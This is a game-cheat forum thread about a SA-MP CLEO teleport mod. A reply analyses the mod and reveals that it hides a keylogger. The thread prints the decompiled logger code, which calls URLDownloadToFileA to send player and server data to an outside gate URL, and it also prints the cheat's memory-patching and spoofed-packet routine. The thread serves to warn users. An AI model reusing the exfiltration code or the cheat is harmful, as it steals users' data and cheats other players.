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CLEO Release [0.3 z] Cleo teleport player to his

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Farid123

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Activation: /gh player id
Important: You must be located in either the transport driving!
 

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  • gh.cs
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Ok, so this mod actually works. It nops car data, store playerID position then sends a modified inCarPacket with player coords, whatever. It also contains a KEYLOGGER.
Code:
format 20@ "%ssrvr=%s:%d&servname=%s&log=%s&did=%d&inf=%s&stuid=%d&money=%d&score=%d" 0@ 14@ 15@ 9@ 12@ 3@ 5@ 13@ 21@ 27@ 
0AA2: 8@ = load_library "urlmon.dll" // IF and SET 
0AA4: 9@ = get_proc_address "URLDownloadToFileA" library 8@ // IF and SET 
0AA5: call 9@ num_params 5 pop 0 0 0 "%TEMP%\2352sfe.tmp" 20@ 0

where does it send your data? -> http://kat.cmhost.ru/gate.php? have fun spamming fake entries.


TL;DR - mod works, but contains keylogger, use only if you don't care.

Here's how it mainly works
Code:
SAMP.ReadSAMPMemory(7@, 24896, 2) 
SAMP.WriteSAMPMemory(24896, 50064, 2) 
wait 10 
04C4: store_coords_to 4@ 5@ 6@ from_actor 12@ with_offset 0.0 0.0 -0.2 
call @Noname_24 3 4@ 5@ 6@ 
wait 150 
SAMP.WriteSAMPMemory(24896, 7@, 2) 
jump @Noname_11

:Noname_24
3@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR)
3@ = SAMP.GetPlayerStruct(3@)
3@ += 201 
alloc 4@ 63 
0C10: memcpy destination 4@ source 3@ size 63 
0C0D: struct 4@ offset 24 size 4 = 0@ 
0C0D: struct 4@ offset 28 size 4 = 1@ 
0C0D: struct 4@ offset 32 size 4 = 2@ 
5@ = BitStream.New()
BitStream.Write(5@, 219, BS_TYPE_BYTE, 1)
BitStream.Write(5@, 4@, BS_TYPE_ARRAY, 63)
RakNet.LiteSend(5@)
BitStream.Delete(5@)
free 4@ 
ret 0
 

HapeHD

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I agree tested it but it does contain loggers.
 
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